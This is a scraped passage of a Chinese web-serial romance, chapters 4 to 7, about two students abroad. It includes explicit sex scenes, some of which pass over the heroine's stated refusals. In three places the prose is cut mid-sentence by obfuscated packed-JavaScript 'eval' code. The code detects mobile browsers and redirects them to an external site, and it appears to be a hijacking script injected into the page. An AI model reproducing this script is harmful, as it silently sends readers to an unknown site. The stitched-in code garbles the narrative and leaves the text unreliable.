许由闷在房间里看了一周的书，有时会在厨房，和同样复习到崩溃的室友们一起喝喝小酒聊聊天，当做放松。 直到看见冰箱里孤零零待在角落里的那盒五花肉，许由才惊觉，自己似乎应该去超市补货了。 趁着一天下午阳光正好的时候，她拉着自己在二手群里收来的小拖车去到市中心的超市。 许由在超市最爱逛的是水果区还有甜品区，其次便是冰激凌区域了，等到购物车被各种甜点冰激凌占去了大半，许由才不慌不忙地推着车往卖肉菜的地方走去。 她掏出手机，照着出门前列好的清单，一样一样往购物车里装。 当勾选掉清单上一半的物品时，手机上方突然弹出来一条消息。 ［－.－：在哪？］ 许由将一袋番茄丢进车里，打字回复道：超市。 [－.－：哪个超市？] 许由把具体的地址发了过去，对面迅速回了四个字。 [－.－：在那等我。] 许由收起手机，继续装填购物车，等她拉着被塞得满满当当的小拖车走出超市时，一抬眼，便看见了不远处柱子旁靠着的人。 庄彻今天穿了件咖色的复古工装夹克，搭配深色的牛仔裤以及一双和上衣同色系的短靴，在往来的行人中亮得显眼。 他侧脸线条凌厉，恹恹地半垂着眼，整个人看上去莫名有几分疲惫。 许由拉着小车朝他走去，还差几步走到庄彻面前的时候，庄彻似有所感地抬头，对上许由视线，嘴角懒洋洋地勾起，刚才的疲惫感一扫而空。 “好久不见。” 许由走到庄彻跟前，问：“你找我有事？” 庄彻从许由手里接过小车，眉梢微挑：“嗯，有事。” 说完，他也不问许由的意见，拉着许由的小车，径直往他公寓的方向走去。 许由撇撇嘴，磨磨蹭蹭地跟上去。 回去的路上，庄彻突然开口解释：“上周我父母来了，我去L市陪了他们几天，今天刚回。” 许由闻言看向他脚边，没有行李箱，心里估摸着庄彻应该是先回公寓休息了一会儿，才来找的她，只低低地应了一声：“哦。” 庄彻闻言，意味不明地看了许由一眼，再回头时，用只有他自己能听见的音量低低骂了一句：“小没良心。” - “嘭，嘭，嘭。” 庄彻公寓，二楼。 书桌连续不断地发出类似于被拳头轻捶的闷响，桌上的电子时钟在混乱中被许由不小心拨到地上。 无人在意。 桌子是贴着墙的，桌面干净整洁，许由的手在桌面上扒拉了半天也没有找到能抓的东西，勉力撑了一会儿，最终跟根煮熟了的面条似的，软趴趴地朝下栽去。 “嗯……” 桌面冰冷的温度刺激得许由短暂清醒了一瞬。 庄彻闻声停下动作，一把将许由捞起来，换了个面，改为面朝自己坐在桌上，然后覆身上去，紧贴。 许由胸口刚从桌面沾到的那丁点冰凉的温度被滚烫瞬间驱散。 她搂住庄彻的脖子，意识逐渐在焦灼、步步深入的吻中溃散。 两次之后，许由流着眼泪说不要了，坚决地把庄彻推开。 “我晚上还要走回去呢！” 庄彻叹了口气，一只手把她脑袋按在自己肩上安慰，另一只手抓着她的手往下，嗓音沙哑：“好了别哭了，帮帮我。” 等到一切结束，庄彻拉起窗户的遮光帘，外面的天色已然全黑。 他把许由抱到浴室，给她清理的同时，自己也顺便洗了个澡。 许由闭着眼，靠在庄彻的肩膀上，滑过皮肤的温热水流和指腹粗粝的质感竟然意外的和谐，让她舒服得昏昏欲睡。 “啪！” 庄彻的手腕突然被捉住，他抬眼，许由那双眼睛在蒸腾的雾气中格外明亮，还带着显而易见的怒气。 “我说了不要了！” “行。” 庄彻脸上丝毫没有偷摸干坏事被抓包的尴尬，他将手伸到水流下冲洗干净，末了，还非常不要脸地补上一句：“我就是看看肿了没有。” 许由还是瞪着他。 庄彻理直气壮地和她对视一会，然后笑着凑上去，和她在潮湿的雾气中接吻。 花洒淅淅沥沥的水流声逐渐被另一种声音掩盖。 洗完澡后，庄彻套了条运动裤便出去收拾残局了，许由落后他几步从浴室出来，就看见他正在擦桌子。 庄彻平时都有在运动，背部肌肉线条流畅紧实，上面凌乱布着几道红痕，此刻均已经肿了起来。 许由默默移开视线，而后下到一楼，去检查她小拖车里的东西有没有事。 刚才回来的时候太着急，不小心把小拖车踢倒了也没时间去扶。 庄彻很快收拾完残局，从衣柜里翻出件Ｔ恤套上，然后心情颇好地哼着歌下楼。 许由蹲在地上，冲庄彻举起两盒冰激凌，没好气地埋怨道：“我的冰激凌都化了。” 庄彻的手机从刚才起便一直有消息进来，他坐进沙发里看手机，听到许由的话后只淡淡往她手上扫去一眼，无所谓地道：“再冻起来不就行了。” 许由不想搭理他，确认冰激凌包装没有破损之后，又小心地放回小拖车里，然后从一堆蛋糕零食里翻出两袋方便面来。 庄彻看上去没有要做菜的意思，她刚被庄彻折腾了一通，也不是很有精力做。 “今晚煮这个来吃吧。” 庄彻收起手机，从沙发里站起：“不吃这个，出去吃，跟刘恒睿他们一起。” 许由起身的动作一顿，她复又蹲下身，将方便面放回小拖车里：“你去吧，我就不去了，还有几天就考试了，我得回去复习。” 庄彻垂眸，居高临下地睨着许由，他瞳色很深，可以很好地掩盖住许多情绪。 两相沉默片刻，他率先开口：“行，那我先送你回去。” 街道上的行人很少，小拖车车轮轧过粗糙地面，发出的磕磕绊绊的响声盖住了两人的脚步声。 到了公寓楼前，庄彻将小拖车还给许由，见她一脸平淡地接过，转身就走，突发奇想想要逗逗她。 “我这么大老远的亲自把你送到公寓楼下，你不请我上去喝杯茶吗？” 许由下意识地脱口而出：“不了，我舍友都在呢。” 庄彻：“……” 他突然觉得自己有点像许由见不得人的“奸夫”。 而许由接下来的态度更是坐实了这一想法，她像是生怕庄彻跟上来似的，进了公寓大门之后走得飞快，就差把小拖车抗在肩上跑了。 庄彻笑了，气笑的。 他看着许由的身影消失在转角之后，转身离开。 刘恒睿他们喝酒的地方在庄彻公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘恒睿只见过一次许由，就是在她刚和庄彻确定关系的时候，她被庄彻带来饭局，安安静静地坐在庄彻身边，五官精致，面容恬淡，整个人透着一股淡淡的书卷气。 好看是好看，不过太冷了，像块晶莹剔透的冰，在灯光下泛着诱人的光泽，可等含进嘴里才知道，食之无味，弃之可惜。 况且，许由看上去就和庄彻之前交往过的那些女生不一样，不会一心一意地捧着他，万事无论大小都顺着他。 这是刘恒睿对许由的初印象。 她和当时桌上的氛围格格不入，和庄彻也格格不入。她的生活仿佛一眼望得到头，美好安稳，但平淡。 如此迥然不同的两个人，到底是怎么在一起的？ 刘恒睿喝了口酒，半开玩笑地道：“以前那些太黏人了，你不喜欢，想换个口味可以理解，但现在这个也太不黏你了吧，你被之前那些女生捧惯了你受得了这气？” “哎，不是，你确定人许由真的喜欢你吗？” 庄彻放下酒杯，爆出了今晚的第一句粗口：“老子的事关你屁事。” “行行行，不关我的事。” 刘恒睿率先退让一步，扯开话题：“我听说上周你爸妈来Ｙ国了？” 庄彻闻言眼中闪过一丝不耐烦，他靠进沙发里，不咸不淡地应了声。 刘恒睿见到他这副模样，立刻猜出了什么，笑道：“你爸妈不会又是来给你介绍哪家的千金的吧。” “你没把你的小白花女友带过去给他们看看？长得乖还有气质，这次这个他们包满意的。” 庄彻睨他一眼：“在国外待久了连中文都不会说了？人家有名字你不会念是吗？” 今天的庄彻跟吃了炮仗似的，一点就燃，刘恒睿也是闲的，非要去惹他，被连着炸了几次，这下终于安生下来。 5. 第 5 章 开学的前一周，有一半的时间，许由在自己的房间里认真复习，剩下的一半时间，则是被庄彻缠着进行了一番流汗又流泪的运动后，在庄彻的公寓认真复习。 期末考试期间，庄彻识相的没有来打扰许由。 最后一科考完是周三下午，许由走出考场，在人来人往中长呼出一口气，将从考场里带出来的紧张空气统统吹走。 “许由。” 许由在班上交好的同学邱思思走过来拍了拍她的肩，“晚上有安排没？没有的话，一起去吃个饭，庆祝庆祝？” 许由正要点头答应，眼角余光却突然瞥见一道熟悉的身影，目光立刻循着那道身影看去，看到了远处站在树荫下的庄彻。 很奇怪，许由明明连庄彻的脸都看不清，却能很清楚地感觉到他也正在看着自己。 “……思思，不好意思啊，我今天晚上已经跟我室友约好了。” 在教学楼门口目送邱思思离开后，许由转头再次看向庄彻所在的方向。 和一分钟前有所不同的是，此刻庄彻身前多了一位棕发的外国女生，女生拿着手机在庄彻面前比划着什么，似乎是在问他要联系方式。 庄彻的长相，再加上他优越的身高和宽肩窄腰的身材，无论是在留学生的圈子还是外国人的圈子都很吃香，会有外国女生上前搭讪也不足为奇。 许由见怪不怪，淡然抬脚朝庄彻走去。 她看到庄彻的嘴唇开合，似乎是在回答着外国女生的问话，视线却没有在看她，而是越过往来晃动的人影，直直地看向自己。 在离庄彻还有三四米远时，两人的对话声破开周围的嘈杂落进许由耳里，男生说英文时嗓音低沉，像悠远醇厚的鼓点。 “Sorry，I’minarelationship.” 许由听见这句话的下一秒，庄彻朝她抬了抬下巴：“Sheismygirlfriend.” 脚下的步子倏地一下顿住。 对于普通情侣来说，这大概会是冒着粉红泡泡、非常美好的宣誓爱意的一幕。 而对于许由和庄彻来说，这一幕除了戏剧，还是戏剧。 因为在四个月前，不一样的地点，不一样的对象，不一样的语言，却发生过与此刻无比雷同的事件。 九月中旬，许由所住的学生公寓为他们这些新入住的学生们办了一场欢迎派对，许由所住的大套间里，四个女生都去了。 派对的地点在一家清吧的二楼，很巧的是，那天庄彻也在那家清吧，他是被刘恒睿喊去喝酒的，就坐在一楼靠窗的卡座，一进门就能看到。 许由走进清吧，不自觉地便开始打量起清吧内部的环境，视线扫过窗边时，庄彻碰巧抬眸。 两人视线在舒缓的爵士乐中无声地相撞。 庄彻率先移开视线。 而后，许由也像突然反应过来什么似的，在心里后知后觉地为自己刚才的失态懊恼，匆匆追上走在前面的乔心她们，没再往身后看一眼。 派对上的游戏大多和当地的习俗有关，许由她们刚来，对Ｘ市的一切还很陌生，不太能融入的进去，便只坐在桌边吃东西喝酒。 许由酒量不太行，三两杯酒下肚，脑袋就有点晕晕乎乎的了，脸蛋也变得红扑扑的。 会场里光线暗淡，通风也不太好，待久了闷得慌，借着上厕所的名义，许由起身离了桌，想顺便去卫生间往脸上拍点冷水，清醒清醒。 许由跟着头顶上的指示牌，七弯八拐地来到一个楼梯间。 这是一道向下的旋转楼梯，棕红色的木质扶手被擦得锃光瓦亮，刷着红漆的墙面被头顶的灯镀上了一层清冷月白的光辉，古典雅致的气息顺着蜿蜒的楼梯扑面而来。 楼梯也是木质的，在上面每走一步都会发出嘎吱嘎吱的响声。 由于空间有限，每个台阶能踩的面积都很小，许由扶着扶手一步一步小心地向下走去。她本来喝醉了脑袋就有些晕，跟着楼梯转了几圈后，就更晕了。 待脚踩实地，许由晕晕乎乎地打晃朝着一边歪去。 但她没有如预想中那般撞到冰冷的墙面，而是靠上了一个结实的后背，随着一声衣服掉在地上的声响，许由的打晃也跟着停了下来。 鼻间涌上一股雨后青草的清爽味道，混合着淡淡的微涩的酒气，一点也不突兀，很好闻。 许由冒着迷糊泡的脑子因此清醒了一点。 “Sorry……” 许由转过身，看见地上躺着一件黑色的牛仔外套，她连忙弯腰想去捡，视线里却突然伸进来一只骨节修长明晰的手，先她一步将地上的衣服捡起来。手背上青色的血管凸起，有力量感的同时，看上去又很干净。 许由的目光不自觉地跟着那只好看的手移到了衣服上，看着它拎起衣服轻轻抖了抖，然后将其搭在肘弯处。 与此同时，许由的头顶上方飘来一句淡淡的“没关系”，嗓音低沉有磁性，像味道醇正、回味悠长的烈酒，敲击在耳膜上酥酥麻麻的。 自己撞到的居然是中国人，老乡。 许由抬头，看见了一张不算太陌生的面孔。 是来的时候，在一楼和她对视的那个男生。 男生面部轮廓锋利，眉眼深邃，又因为身高的缘故，他看许由时眼皮懒洋洋地搭着，颇有番睥睨万物的姿态，比起之前在一楼大厅的惊鸿一瞥，此刻的他多出了几分让人不敢直视的攻击性。 那一双墨瞳沉静幽深，许由能在里面清晰地看见自己的倒影。 许由突然就变得拘束起来，脸颊的热度在持续地燃烧着，她分不清是醉意驱使，还是因为其他的什么原因。 这一次，许由先低下头避开男生的视线，绕过他匆忙向卫生间走去。 从隔间里出来，许由走到洗手池边洗了把冷水脸，稍微降了降脸上的温度。 许由一边想着男生应该已经离开了，一边往外走，但等她走出卫生间却看见，走廊尽头，男生依旧站在那里，懒洋洋地倚着墙，表情漫不经心。 而他对面则多了一个打扮精致的漂亮女生。 女生似乎在哭，身子一抽一抽的，一只手往前伸，想去拉男生衣角，却被男生微微一个侧身躲过。 “我们不分手好不好？” 男生虽然是笑着的，但说出来的话却一点温度也没有：“不好。” “为什么？我是哪里做的不好，惹你不开心了吗？你说出来，我改，我真的会改的。” 许由心里暗道不好，怎么偏偏撞见小情侣闹分手这么尴尬的场面。 但走廊里没有遮挡，就是直直的一条走道，那边的两人估计都已经发现她了，只不过现在正忙着，没工夫管她而已。 如果转身倒回卫生间，到显得她对两人的事情多上心似的，还要躲回卫生间里再多听一阵。 许由深吸一口气，故作淡定地朝两人走去。 “如果你是觉得距离太远了见面麻烦，没关系的，你不用去Ｌ市找我，我、我没课的时候来找你，每周都来，只要有时间就来Ｘ市找你，好不好？” 女生话里话外满是乞求：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261626|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我可以晚上来，第二天早上回的。” “不用这么麻烦。” “那是你父母的缘故吗？他们对我不满意？哪里不满意，我可以改的，你再带我去见他们一次，我一定会给他们留下一个好印象的。” 许由全程低头数着地上的瓷砖，尽量避免跟二人有任何眼神接触的可能。 “不是，我有喜欢的人了。” 男生的声音突然低了下去，带着几分说不清道不明的愉悦。 不过许由并没有听出来，她只是在心里想：好熟悉的台词，这不是那些狗血电视剧里的常规套路嘛，三角恋。 一般这句台词出来的时候，就代表——冲突可能要升级了。 许由不禁加快脚步，想要赶快离开这个是非之地。 女生压根不信男生的话：“不可能，你来这里才几天，怎么可能这么快就遇到新的人了。” 男生哼笑两声：“怎么不可能，我在这里就是等她的。” 虽然许由无心吃瓜，但还是忍不住顺着男生的话想：等人，原来男生站在这里是在等人啊。 可她刚从女卫生间里出来，里头没人呀。 难道说—— 他等的人不是女生，而是男生？！！ 许由脑中闪过这一猜测的下一秒，她垂在身侧的手猛地被人攥住。 没等许由反应过来发生了什么，男生举起她的手，在那个哭的妆都花了的女生眼前晃了晃。 “喏，这就是我等的人，也是我现在喜欢的人。” 许由：…… ！！！ 女生瞪着一双红通通水汪汪的大眼睛看着许由，嫉妒、怨恨、委屈、不甘，种种情绪交织，直看得人后背发麻。 许由毫不怀疑，如果男生在此时离开，女生绝对会扑上来大力撕扯自己的头发。 许由有点憋屈。 她不管男生是出于什么目的，让女生死心也好，想尽快摆脱女生也好，都不该把她，一个和他们二人毫不相关的路人，拉进这段剪不断、理还乱的关系中来。 男生抓着许由手腕的手没用多大的力气，许由轻轻一挣便挣开了。 她后退一步和两人拉开距离，看着女生，用她惯常的温柔语气，一字一顿坚定地道：“不好意思，我不认识他，连他姓什么叫什么也不知道，在今天之前，我从来都没有见过他。” 然后又仰头看向男生：“一段感情，无论是好是坏，都不该以欺骗结束，毕竟当初也是真心喜欢才会在一起的，不是吗？” “不喜欢就说不喜欢好了，为什么要编谎话骗人？” 寂静。 走廊在许由说出那番话后，死一般的寂静。 女生大概是在短时间内经历了大落又大起，一时间缓不过神来，只怔怔地望着许由。 男生则是在短暂的诧异之后，忽然“噗嗤”一声笑了出来。 不是那种不屑鄙夷的笑，而是发自内心的、听上去十分愉悦的笑。 许由不知道有什么好笑的，她本来喝了酒就有些头昏脑涨的，莫名其妙被男生拉出来挡枪，更是一个头两个大。 反正她该解释的也解释清楚了，再继续在这两人中间杵着也不过是浪费时间。 想到这里，许由头也不回地离开，没再分给两人半点眼神。 这便是许由和庄彻的初见，和愉快毫不沾边，甚至可以称得上剑拔弩张。 直到后来和庄彻在一起之后，许由才终于想明白，庄彻当时笑的，或许是她的那句，“真心喜欢才会在一起”。 6. 第 6 章 回忆在庄彻走到面前时戛然而止。 许由仰头看他，目光却没有焦距，仿佛是在出神，又仿佛是在透过他，看其他的什么东西。 庄彻抬手，在她眼前轻轻打了一个响指：“这次我可没有撒谎了。” “什么？”许由刚才在走神，没听见庄彻的话。 庄彻垂眼看她：“我说，看到自己男朋友被搭讪还这么平静的，全世界除了你应该找不出第二个了吧。” 许由对庄彻的话不置可否，只问他：“你来找我有什么事吗？” 庄彻笑了，反问道：“还能有什么事，好不容易考完了，不得好好庆祝庆祝？” “你怎么知道我——” 许由话说到一半突然打住。 庄彻在这届留学生圈子里算是个风云人物，认识的人不少，想打听出她所在专业的考试时间表并不是什么难事。 “你也考完了？” 庄彻冷哼一声：“昨天就考完了。” “……” 许由又问：“那我们去哪庆祝？” 庄彻牵起她的手：“刘恒睿订了位置，去了就知道了。” 许由在心里默默叹气，果然，该来的还是躲不掉。 她并不是讨厌或者反感刘恒睿他们，只不过第一次被庄彻带去和他们一起聚餐时，酒吧震耳欲聋的音乐声和乌烟瘴气的氛围着实给她留下了不太好的回忆。 但令许由意外的是，刘恒睿订的所谓庆祝考试结束的地方，居然不是他们这帮人惯常去的灯红酒绿的酒吧，而是中国城的一家火锅店。 许由刚到Ｘ市的时候，和乔心她们一起来吃过，味道不错，就是不够辣。 刘恒睿订的是个包间，庄彻牵着许由走进去的时候，以刘恒睿为首的几个男生正在吞云吐雾，把包间弄得乌烟瘴气的。 许由被烟味冲的皱起了眉，庄彻把她带到空位坐下，然后走到窗边，把窗户开到最大。 “别ＴＭ抽了，臭的要命，天天抽这么多，也不怕早死。” 许由：…… 如此“清新脱俗”的劝人戒烟的话，除了庄彻，没有第二个人能说得出来了。 刘恒睿从椅子里坐起身，在烟灰缸里摁灭烟头，视线落在对面的许由身上，上下扫了几眼。 许由进了包间之后便把外头的大衣脱了，里头穿的是一件黑色的高领毛衣，只露出一个还不到巴掌大的小脸，即使未施粉黛，五官也精致得像是被人用画笔一笔一划勾勒出来的一样，未经烫染的长发披散，带着微微卷曲的自然弧度垂落在胸前，安安静静坐在那里的时候，像摆在展示柜里的瓷娃娃。 确实漂亮，怪不得把庄彻迷得神魂颠倒的。 “啪！” 火锅店用来夹一次性菜单的菜单板突然砸在身上，刘恒睿收回打量许由的视线，转而看向把菜单板砸过来的人。 庄彻在他看过来时不紧不慢地收回手，懒洋洋地靠进椅子里，一只手搭上许由的椅背，做出一副虚搂住许由的姿态，冲他抬了抬下巴：“点菜。” 幼稚。 刘恒睿哼笑一声，没跟庄彻计较，拿起笔在菜单上勾画起来。 点完菜后，刘恒睿正要把菜单递给等在一旁的服务员，庄彻抬手叫住他：“等一下，刚才忘记点饮料了。” 刘恒睿闻言径直把菜单塞进服务员怀里：“都考完了，喝什么饮料啊，喝酒。” 随即冲服务生比划到：“先来两打啤酒。” 庄彻凑到许由耳边问：“你能喝酒吗？” 许由点头：“能喝一点。” 庄彻坐直身体，没再多说。 刘恒睿看着他那副护许由跟老母鸡护犊子似的模样，从喉咙深处又泄出几声闷笑，他身边刚交往几天的新女友见状问他：“怎么了？” 刘恒睿喝了口茶：“没什么。” 许由跟庄彻的这些朋友都不熟，到今天也才就见过两次面而已，没什么聊得来的共同话题。 再加上一个月前在这些男生身边见到的面孔，此刻有大半都变得陌生，尽管早就知道他们这帮人都是这个调性，但许由心里还是莫名有些堵，便也懒得开口掺和进桌上的聊天中去。 不过她对别人不感兴趣，别人倒是对她感兴趣的很。 “许由，我敬你一杯。”菜刚上齐，刘恒睿突然举杯，对许由道，“想见你一面是真不容易。” 说完，便仰头将满满一杯酒一饮而尽。 许由笑着举起酒杯，隔空和刘恒睿碰了碰，也学着他的样子将酒喝了个干净。 啤酒入口跟许由以往喝的果酒完全不一样，除了冲，就是涩，真不知道为什么有这么多人喜欢喝啤酒。 许由放下杯子，旁边的男生又立刻举着酒瓶过来给她满上。 刘恒睿再次举杯：“来来来，全部人走一个，庆祝考试结束。” 许由正要和其他人一样干了杯子里的酒，一只手突然从旁边伸过来，不容分说地拿走了她的酒杯。 “够了。” 恰好此时服务员从门外经过，庄彻抬手叫住了她：“来一扎酸梅汤。” 刘恒睿笑得肩膀都在抖：“人许由也没说不喝啊，你怎么还替人急上了呢。” 庄彻就着许由的杯子，把里头的酒喝完，“嗒”的一声，将杯子不轻不重地搁在手边：“她酒量不好喝不了太多，我陪你喝。” 刘恒睿但笑不语。 庄彻和刘恒睿两个人一瓶接着一瓶的喝，喝到最后，地上那些空的啤酒瓶有一大半都进到了他和刘恒睿的肚子里。 喝到后面，庄彻眼尾悄然无声地爬上一抹嫣红。 “你少喝一点吧。”许由拉了拉庄彻的衣角，在他耳边小声地提醒道。 庄彻抓着她的手放到腿上捏了捏：“没事。” 然后转头又给自己倒了满满一杯。 许由抽回手，只能在心里默默安慰自己，还好刘恒睿之前要的不是白的。 吃得差不多了，桌上有些男生又从包里掏出烟开始抽，许由便借着上卫生间的工夫出去透透气。 这家火锅店的卫生间是男卫女卫分开，但共用一个洗手池。 许由从女卫生间里出来的时候，刘恒睿就靠在洗手池对面的墙上抽烟，和许由对上视线后，刘恒睿笑着呼出一口烟雾。 许由朝他露出一个非常公式化的客气笑容，转身走到洗手池边，打开水龙头。 刘恒睿透过镜子打量许由：“你本科是南大的？” 话音刚落，许由倏地抬眸，看向镜中的他。 刘恒睿表情无辜地耸了耸肩：“我没有刻意去调查你，只不过你在你们学校好像还挺出名的。” “我们专业碰巧也有一个南大毕业的学生，我不过跟他提了一嘴，你猜怎么着？他居然知道你。” “南大，校花。” 最后四个字，刘恒睿仿佛是把它们在舌尖反复滚了好几圈才说出来，说完嘴角微微勾起，眼神意味深长。 许由觉得刘恒睿这个人真的很奇怪。 第一次见面时，他对自己的态度是不屑，甚至是轻蔑的。整场下来，除了刚开始的相互介绍，在那之后，他没有再分半点眼神给自己。自己对他而言，就好像是这场聚会结束，走出这家酒吧便再不会有什么交集的陌生人。 而第二次见面，也就是今晚，许由却从他的态度和对自己的说话语气中，感受到了那么一丝似有若无的敌意。 最最最奇怪的就是，许由压根不知道自己哪里惹到他了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到包间，大家都吃的差不多了，许由穿上大衣背好包，然后走到庄彻身边拍了拍他：“你还好吗？” 庄彻从臂弯里抬起脑袋，睡眼惺忪地看向她：“嗯？” 醉意弱化了青年凌厉的五官，眼尾的那抹嫣红则是给他染上了一分惊心动魄的蛊惑感。 过了好几秒，庄彻视线缓缓扫过桌上的残余，才又开口：“是要走了吗？” 许由：“……” 她也是没想到，庄彻的酒量竟然这么差，几瓶啤酒下肚就醉成了这样。 许由默默叹了口气，认命地将庄彻从椅子里扶起来，一手抓着他的胳膊搭到肩上，另一只手绕到他背后，勉强搂住他的腰，充当起他的人形拐杖。 值得庆幸的是，庄彻还没有到烂醉如泥的状态，至少现在他还可以靠自己的双脚站立，没有把整个人的重量都压在许由身上，不然就许由这个小身板，非被他一米□□的壮硕身材给夯实在地里不可。 许由扶着庄彻走出火锅店，一个等在门口的男生见状问道：“彻哥醉成这样，那第二场他还来得了吗？” 庄彻把脑袋搁在许由的脑袋上，整个人昏昏欲睡，根本没听见男生的话，许由只得替他回答：“第二场你们去吧，我就先送他回去休息了。” 一高一矮两道身影在众人的注视下，跌跌撞撞地走远，人群中有人忍不住发出一句吐槽。 “我去，庄彻白长这么高的个了，不就喝了几瓶啤的吗，怎么醉成这样？” 刘恒睿意味不明地哂笑一声，转身朝跟两人相反的方向走去：“别管他们了，喝酒去。” 7. 第 7 章 “哎，你别往那边走呀……” 事实证明，喝醉了的庄彻比清醒的时候更难搞，许由往左，他偏要往右，都快人事不省了，力气到还挺大。 累死累活地拖着他走了半天，抬头一看才发现，距离他公寓还有一大半的路程要走。 好不容易考完了期末考，本以为可以放松一下，结果最后却沦落到深更半夜拖着一个醉鬼回家，还是个不听话的醉鬼，许由的好脾气渐渐被消磨殆尽，并且越想越气。 反正现在庄彻喝醉了，醒来后什么都不会记得，她便一股脑地将积压了许久的怨气发泄出来。 “酒量差就少喝一点，为什么要跟别人斗酒？” “死要面子活受罪，把自己弄成这副模样，难看死了。” 许由全身的力气几乎都用在支撑庄彻上了，说话时喘得上气不接下气的，因此就算是抱怨，也软绵绵的没什么力道，听上去跟撒娇差不多。 不知是不是太累产生了错觉，她突然感觉到庄彻的胸膛震了一下。 许由停下脚步，仰头，借着路灯的光去看庄彻。 他仍是那副昏昏沉沉，半梦半醒的模样，长且浓密的眼睫乖顺地垂下，整个人看上去异常无害。 许由深呼吸一口气，继续拖着这个死沉死沉的醉鬼往公寓走。 费劲千辛万苦回到庄彻的公寓，许由凭借着最后一丝力气，手脚并用，总算是把肩上的“醉鬼”给丢到了床上。 庄彻上半身陷进柔软的床铺，两条大长腿却仍在床边耷拉着无处安放，但许由实在是没力气搬他了，坐在地上休息了一会儿后，便起身准备去浴室打湿帕子，给他擦擦脸。 “去哪？” 许由从床边站起的瞬间，身后突然传来一声低笑，紧接着手腕处便传来一股巨力，眼前的景象天旋地转。 “嘭。” 这一次，换许由陷进柔软的床铺。 身下的床铺还残留着前一个人躺过的余温。 至于刚才“人事不省”的醉鬼庄彻，此刻却两眼清明地撑在她上方。 许由瞪大眼睛：“你没醉？！” 庄彻见到她这副模样，“噗嗤”一下笑出声来。 许由在大多数时候，那双眸子都是平淡无波的。 庄彻不喜欢，非常不喜欢，他就是要做那块巨石，把平静的水面激得水花四溅才甘心。所以，不管是有心还是无意，庄彻都很喜欢看到许由眸中因为自己而泛起波澜的样子。 涟漪层层叠叠地蔓延进他心口，直到把那里填得满满当当，再装不下其他。 许由看见庄彻脸上笑嘻嘻的表情，终于明白过来自己是被他给骗了，抬手去推他：“你好好的，装醉干什么？” 庄彻抓住许由作乱的双手，高举过头顶单手缚住，然后俯下身去亲她耳朵，声音模糊：“你想跟他们去喝酒吗？” 许由挣扎的动作顿住。 她不想。 “那你装到跟他们分开不就好了，干嘛要一直装到现在！” 许由还是很气，天知道她在路上扛着庄彻走的时候有多崩溃，她来Ｙ国时，拖着三个半人高的行李箱都没这么狼狈过。尽管现在知道了庄彻是装醉，回来的路上大概只是做个样子，整个人虚压在她身上。 但是，也、很、重！ 庄彻把脸埋进许由脖颈，几秒钟之后，胸膛开始剧烈地颤抖起来，他抬头在许由下巴上轻啄了一下。 “不装醉，怎么把你骗回家呀。” 灼热滚烫，带着淡淡酒气的吻密集地落在许由脸侧。 “再说了，我都好久没有……” 许由的抱怨声逐渐被啧啧水声淹没。 之前在饭桌上喝的那几瓶酒对庄彻来说根本造不成任何影响，相反，还让他压抑了一周的情绪又凶又猛地释放了出来。 头顶的大灯关掉了，只留下了床头的一盏小灯。 暖黄色的灯光穿过床上两道交织的身影打在墙上，黑色的影子如同风中的烛火般，在墙面上剧烈摇晃着。 比起在回来的路上就耗尽了所有力气的许由，庄彻的精力显然十分旺盛，甚至还有闲心跟许由“聊天”。 “酒量差？” “还要跟人斗酒？” “死要面子活受罪？” 庄彻真是坏透了，每问一句，力道就变得更重一些。 许由长发铺散在灰色的床单上，抓着床单的手骨节泛白，薄薄的皮肤下，紫色的血管清晰可见。 她嘴唇和脸颊呈现出异样的红，右脸侧靠近耳垂的地方还有一道不甚明显的牙印，目光涣散，眼里盛着两抔水雾，随着庄彻的动作而晃动。 庄彻目光一眨不眨地看着她，被她这副模样勾得又是一股邪火在身体里乱窜，喉结上下滚动，俯首凑到她耳边，边亲边问：“我醉酒的样子很难看吗？” 许由闭上眼，紧咬住嘴唇，偏过头去不看庄彻，她现在真的讨厌死庄彻了。 眼泪从眼尾滑落，下一秒，被庄彻轻柔吻去。 “别哭，我轻一点就是了。” 后来，许由在失去意识的前一刻，用尽最后力气对庄彻说了一声： “骗子！” － 第二天上午许由醒的时候，庄彻已经不在身边了，他躺过的那处除了凌乱的褶皱，一点温度也无。 许由撑着酸软的身体去浴室洗漱，然后穿着对她来说过于宽大的Ｔ恤和短裤下到一楼。 庄彻已经吃完早饭，正坐在沙发里看手机，他听到动静后抬眸，最先映入眼帘的便是两条匀称细白的长腿在空荡荡的裤管里晃荡的情景，斑驳的红色痕迹和白皙的皮肤形成了鲜明的对比。 喉结不自觉地滚动了一下，压下身体里突然窜起的那股燥意，庄彻视线朝餐桌一扫：“超市买的三明治，不喜欢的话，冰箱里还有泡芙，昨天刚买的。” 许由腰酸背痛，没注意去听庄彻说了些什么，只是慢吞吞地走到桌边坐下，拿起盘子里的三明治吃起来。 庄彻看许由跟猫似的，每次就咬一小口，还要嚼半天，忍不住开口：“不喜欢吃就不吃了，冰箱里有泡芙。” 许由摇头：“没胃口。” 庄彻见状也不再劝，低头看回手机，微信里刘恒睿发来一条新消息。 ［反正我该说的都说了，要怎么办还不是看你，兄弟我只是想提醒你，别……］ 庄彻没看完消息便径直丢掉手机，仰靠在沙发上，一瞬不瞬地看着许由吃早饭。 